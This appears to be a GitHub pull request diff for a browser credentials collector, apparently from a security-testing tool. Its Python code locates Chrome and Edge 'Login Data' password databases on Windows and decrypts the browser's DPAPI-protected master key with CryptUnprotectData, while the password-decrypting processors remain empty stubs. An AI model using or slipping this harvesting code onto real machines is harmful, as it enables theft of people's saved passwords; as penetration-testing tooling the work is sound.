Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Implement WindowsCredentialsDatabaseSelector #3661

Merged
merged 34 commits into from
Sep 12, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
34 commits
Select commit Hold shift + click to select a range
0dcfa58
Chrome: Partially implement WindowsCredentialsDatabaseSelector
shreyamalviya Sep 6, 2023
cee40b6
Chrome: Improve code quality in windows_credentials_database_selector.py
shreyamalviya Sep 7, 2023
e6d97ab
Chrome: Simplify code in WindowsCredentialsDatabaseSelector._get_data…
shreyamalviya Sep 7, 2023
066a516
Chrome: Add WINDOWS_BROWSERS constant
shreyamalviya Sep 7, 2023
b9e215a
Chrome: Fix some TODOs in windows_credentials_database_selector.py
shreyamalviya Sep 7, 2023
71320b7
Chrome: Use pathlib.Path instead of str in WindowsCredentialsDatabase…
shreyamalviya Sep 7, 2023
18ca361
Chrome: Reduce complexity of code in WindowsCredentialsDatabaseSelector
shreyamalviya Sep 7, 2023
499ec6d
Chrome: Improve logging in WindowsCredentialsDatabaseSelector
shreyamalviya Sep 7, 2023
460dd1c
Chrome: Fix small bugs in WindowsCredentialsDatabaseSelector
shreyamalviya Sep 7, 2023
3aa87b2
Chrome: Extract some code to windows_utils.py
shreyamalviya Sep 7, 2023
644b22c
Chrome: Extract ChromeBrowserLocalData, ChromeBrowserLocalState
cakekoa Sep 7, 2023
9e4b9f7
Chrome: Use snake case for functions in windows_utils.py
shreyamalviya Sep 8, 2023
d56577d
Chrome: Remove note from windows_credentials_database_selector.py
shreyamalviya Sep 8, 2023
38a8dbd
Chrome: Improve variable names in windows_credentials_database_select…
shreyamalviya Sep 8, 2023
6c1b46f
Chrome: Fix type hint in WindowsCredentialsDatabaseSelector
shreyamalviya Sep 8, 2023
42c3214
Chrome: Add BrowserCredentialsDatabasePath dataclass
shreyamalviya Sep 8, 2023
80aea02
Chrome: Fix type hints in windows_credentials_database_selector.py
shreyamalviya Sep 8, 2023
aff682a
Project: Add BrowserCredentialsDatabasePath.database_file_path to Vul…
shreyamalviya Sep 8, 2023
f240229
Chrome: Return BrowserCredentialsDatabasePath, not tuple in Windows s…
shreyamalviya Sep 8, 2023
3abc90a
Chrome: Make BrowserCredentialsDatabasePath hashable
shreyamalviya Sep 8, 2023
ff86628
Chrome: Simplify ChromeBrowserLocalState
cakekoa Sep 8, 2023
318ea33
Chrome: Allow the collector to run on Linux
cakekoa Sep 8, 2023
b9cddde
Chrome: Load local APPDATA path from env
cakekoa Sep 8, 2023
500314b
UT: Test WindowsCredentialsDatabaseSelector
cakekoa Sep 8, 2023
02a3543
Chrome: Cleanup windows selector
cakekoa Sep 8, 2023
c43c91e
Chrome: Remove redundant profile lookup
cakekoa Sep 8, 2023
b923b8d
Chrome: Update selector/processor interfaces
cakekoa Sep 8, 2023
9ad6827
Chrome: Change PurePath -> Path
cakekoa Sep 11, 2023
bb01d9a
Chrome: Rename windows_utils -> windows_decryption
cakekoa Sep 11, 2023
8562efa
Chrome: Move local state parsing into ChromeBrowserLocalData
cakekoa Sep 11, 2023
9f745a6
Chrome: Remove ChromeBrowserLocalData.master_key
cakekoa Sep 11, 2023
c1a8a54
UT: Improve test coverage for WindowsCredentialsDatabaseSelector
shreyamalviya Sep 12, 2023
d343465
Chrome: Rename utils.py -> browser_credentials_database_path.py
shreyamalviya Sep 12, 2023
5473529
UT: Fix import in tests for WindowsCredentialsDatabaseSelector
shreyamalviya Sep 12, 2023
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
from dataclasses import dataclass
from pathlib import Path
from typing import Optional


@dataclass(frozen=True)
class BrowserCredentialsDatabasePath:
database_file_path: Path
master_key: Optional[bytes]
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
import json
import logging
from contextlib import contextmanager
from dataclasses import dataclass, field
from pathlib import Path
from typing import Collection, Iterator, Set

logger = logging.getLogger(__name__)


@dataclass(kw_only=True)
class ChromeBrowserLocalState:
profile_names: Set[str] = field(default_factory=set)


@contextmanager
def read_local_state(local_state_file_path: Path):
"""
Parse the local state file for a Chrome-based browser
"""

try:
with open(local_state_file_path) as f:
local_state_object = json.load(f)
yield local_state_object
except FileNotFoundError:
logger.error(f'Couldn\'t find local state file at "{local_state_file_path}"')
except json.decoder.JSONDecodeError as err:
logger.error(f'Couldn\'t deserialize JSON file at "{local_state_file_path}": {err}')


class ChromeBrowserLocalData:
"""
The local data for a Chrome-based browser

:param local_data_directory_path: Path to the browser's local data directory
"""

def __init__(self, local_data_directory_path: Path, profile_names: Collection[str]):
self._local_data_directory_path = local_data_directory_path
self._profile_names = profile_names

@property
def profile_names(self) -> Collection[str]:
"""
Get the names of all profiles for this browser
"""

return self._profile_names

@property
def credentials_database_paths(self) -> Iterator[Path]:
"""
Get the paths to all of the browser's credentials databases
"""

for profile_name in self._profile_names:
database_path = Path(self._local_data_directory_path) / profile_name / "Login Data"

if database_path.exists() and database_path.is_file():
yield database_path
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,6 @@
from .linux_credentials_database_selector import LinuxCredentialsDatabaseSelector
from .typedef import CredentialsDatabaseProcessorCallable, CredentialsDatabaseSelectorCallable
from .windows_credentials_database_processor import WindowsCredentialsDatabaseProcessor
from .windows_credentials_database_selector import WindowsCredentialsDatabaseSelector

logger = logging.getLogger(__name__)

Expand All @@ -32,6 +31,8 @@ def build_chrome_credentials_collector(

def _build_credentials_database_selector() -> CredentialsDatabaseSelectorCallable:
if get_os() == OperatingSystem.WINDOWS:
from .windows_credentials_database_selector import WindowsCredentialsDatabaseSelector

return WindowsCredentialsDatabaseSelector()
return LinuxCredentialsDatabaseSelector()

Expand Down
Original file line number Diff line number Diff line change
@@ -1,15 +1,16 @@
from pathlib import PurePath
from typing import Sequence
from typing import Collection

from common.credentials import Credentials
from common.types import Event

from .browser_credentials_database_path import BrowserCredentialsDatabasePath


class LinuxCredentialsDatabaseProcessor:
def __init__(self):
pass

def __call__(
self, interrupt: Event, database_paths: Sequence[PurePath]
) -> Sequence[Credentials]:
self, interrupt: Event, database_paths: Collection[BrowserCredentialsDatabasePath]
) -> Collection[Credentials]:
return []
Original file line number Diff line number Diff line change
@@ -1,10 +1,11 @@
from pathlib import PurePath
from typing import Sequence
from typing import Collection

from .browser_credentials_database_path import BrowserCredentialsDatabasePath


class LinuxCredentialsDatabaseSelector:
def __init__(self):
pass

def __call__(self) -> Sequence[PurePath]:
def __call__(self) -> Collection[BrowserCredentialsDatabasePath]:
return []
Original file line number Diff line number Diff line change
@@ -1,10 +1,13 @@
from pathlib import PurePath
from typing import Callable, Sequence, TypeAlias
from typing import Callable, Collection, TypeAlias

from common.credentials import Credentials
from common.types import Event

CredentialsDatabaseSelectorCallable: TypeAlias = Callable[[], Sequence[PurePath]]
from .browser_credentials_database_path import BrowserCredentialsDatabasePath

CredentialsDatabaseSelectorCallable: TypeAlias = Callable[
[], Collection[BrowserCredentialsDatabasePath]
]
CredentialsDatabaseProcessorCallable: TypeAlias = Callable[
[Event, Sequence[PurePath]], Sequence[Credentials]
[Event, Collection[BrowserCredentialsDatabasePath]], Collection[Credentials]
]
Original file line number Diff line number Diff line change
@@ -1,15 +1,16 @@
from pathlib import PurePath
from typing import Sequence
from typing import Collection

from common.credentials import Credentials
from common.types import Event

from .browser_credentials_database_path import BrowserCredentialsDatabasePath


class WindowsCredentialsDatabaseProcessor:
def __init__(self):
pass

def __call__(
self, interrupt: Event, database_paths: Sequence[PurePath]
) -> Sequence[Credentials]:
self, interrupt: Event, database_paths: Collection[BrowserCredentialsDatabasePath]
) -> Collection[Credentials]:
return []
Original file line number Diff line number Diff line change
@@ -1,10 +1,131 @@
from pathlib import PurePath
from typing import Sequence
import base64
import getpass
import logging
import os
from dataclasses import dataclass
from pathlib import Path
from typing import Any, Collection, Dict, Optional, Set

from .chrome_browser_local_data import (
ChromeBrowserLocalData,
ChromeBrowserLocalState,
read_local_state,
)
from .browser_credentials_database_path import BrowserCredentialsDatabasePath
from .windows_decryption import win32crypt_unprotect_data

logger = logging.getLogger(__name__)

DRIVE = "C"
LOCAL_APPDATA = "{drive}:\\Users\\{user}\\AppData\\Local"

WINDOWS_BROWSERS_DATA_DIR = {
"Chromium Edge": "{local_appdata}/Microsoft/Edge/User Data",
"Google Chrome": "{local_appdata}/Google/Chrome/User Data",
}


@dataclass(kw_only=True)
class WindowsChromeBrowserLocalState(ChromeBrowserLocalState):
master_key: Optional[bytes] = None


class WindowsChromeBrowserLocalData(ChromeBrowserLocalData):
def __init__(self, local_data_directory_path: Path, profile_names, master_key):
super().__init__(local_data_directory_path, profile_names)
self._master_key = master_key

@property
def master_key(self) -> Optional[bytes]:
return self._master_key


def create_windows_chrome_browser_local_data(
local_data_directory: Path,
) -> WindowsChromeBrowserLocalData:
local_state = WindowsChromeBrowserLocalState()
with read_local_state(local_data_directory / "Local State") as local_state_object:
local_state = _parse_windows_local_state(local_state_object)

return WindowsChromeBrowserLocalData(
local_data_directory, local_state.profile_names, local_state.master_key
)


def _parse_windows_local_state(local_state_object: Any) -> WindowsChromeBrowserLocalState:
local_state = WindowsChromeBrowserLocalState()
try:
local_state.profile_names = set(local_state_object["profile"]["info_cache"].keys())
encoded_key = local_state_object["os_crypt"]["encrypted_key"]
encrypted_key = base64.b64decode(encoded_key)
local_state.master_key = _decrypt_windows_master_key(encrypted_key)
except (KeyError, TypeError):
logger.error("Failed to parse the browser's local state file.")
return local_state


def _decrypt_windows_master_key(master_key: bytes) -> Optional[bytes]:
try:
key = master_key[5:] # removing DPAPI
key = win32crypt_unprotect_data(key)
return key
except Exception as err:
logger.error(
"Exception encountered while trying to get master key "
f"from browser's local state: {err}"
)
return None


class WindowsCredentialsDatabaseSelector:
def __init__(self):
pass
user = getpass.getuser()
local_appdata = LOCAL_APPDATA.format(drive=DRIVE, user=user)
local_appdata = os.getenv("LOCALAPPDATA", local_appdata)

self._browsers_data_dir: Dict[str, Path] = {}
for browser_name, browser_directory in WINDOWS_BROWSERS_DATA_DIR.items():
self._browsers_data_dir[browser_name] = Path(
browser_directory.format(local_appdata=local_appdata)
)

def __call__(self) -> Collection[BrowserCredentialsDatabasePath]:
"""
Get browsers' credentials' database directories for current user
"""

databases: Set[BrowserCredentialsDatabasePath] = set()

for browser_name, browser_local_data_directory_path in self._browsers_data_dir.items():
logger.info(f'Attempting to locate credentials database for browser "{browser_name}"')

browser_databases = (
WindowsCredentialsDatabaseSelector._get_credentials_database_paths_for_browser(
browser_local_data_directory_path
)
)

logger.info(
f"Found {len(browser_databases)} credentials databases "
f'for browser "{browser_name}"'
)

databases.update(browser_databases)

return databases

@staticmethod
def _get_credentials_database_paths_for_browser(
browser_local_data_directory_path: Path,
) -> Collection[BrowserCredentialsDatabasePath]:
try:
local_data = create_windows_chrome_browser_local_data(browser_local_data_directory_path)
except Exception:
return []

def __call__(self) -> Sequence[PurePath]:
return []
master_key = local_data.master_key
paths_for_each_profile = local_data.credentials_database_paths
return {
BrowserCredentialsDatabasePath(database_file_path=path, master_key=master_key)
for path in paths_for_each_profile
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
from ctypes import (
POINTER,
Structure,
WinDLL,
byref,
c_buffer,
c_char,
create_string_buffer,
memmove,
sizeof,
)
from ctypes.wintypes import BOOL, DWORD, HANDLE, HWND, LPCWSTR, LPVOID, LPWSTR


class DATA_BLOB(Structure):
_fields_ = [("cbData", DWORD), ("pbData", POINTER(c_char))]


class CRYPTPROTECT_PROMPTSTRUCT(Structure):
_fields_ = [
("cbSize", DWORD),
("dwPromptFlags", DWORD),
("hwndApp", HWND),
("szPrompt", LPCWSTR),
]


PCRYPTPROTECT_PROMPTSTRUCT = POINTER(CRYPTPROTECT_PROMPTSTRUCT)

crypt32 = WinDLL("crypt32", use_last_error=True)
kernel32 = WinDLL("kernel32", use_last_error=True)

LocalFree = kernel32.LocalFree
LocalFree.restype = HANDLE
LocalFree.argtypes = [HANDLE]

CryptUnprotectData = crypt32.CryptUnprotectData
CryptUnprotectData.restype = BOOL
CryptUnprotectData.argtypes = [
POINTER(DATA_BLOB),
POINTER(LPWSTR),
POINTER(DATA_BLOB),
LPVOID,
PCRYPTPROTECT_PROMPTSTRUCT,
DWORD,
POINTER(DATA_BLOB),
]


def _get_data(blobOut):
cbData = blobOut.cbData
pbData = blobOut.pbData
buffer = create_string_buffer(cbData)
memmove(buffer, pbData, sizeof(buffer))
LocalFree(pbData)
return buffer.raw


def win32crypt_unprotect_data(cipherText):
decrypted = None

bufferIn = c_buffer(cipherText, len(cipherText))
blobIn = DATA_BLOB(len(cipherText), bufferIn)
blobOut = DATA_BLOB()

if CryptUnprotectData(byref(blobIn), None, None, None, None, 0, byref(blobOut)):
decrypted = _get_data(blobOut)

return decrypted
Loading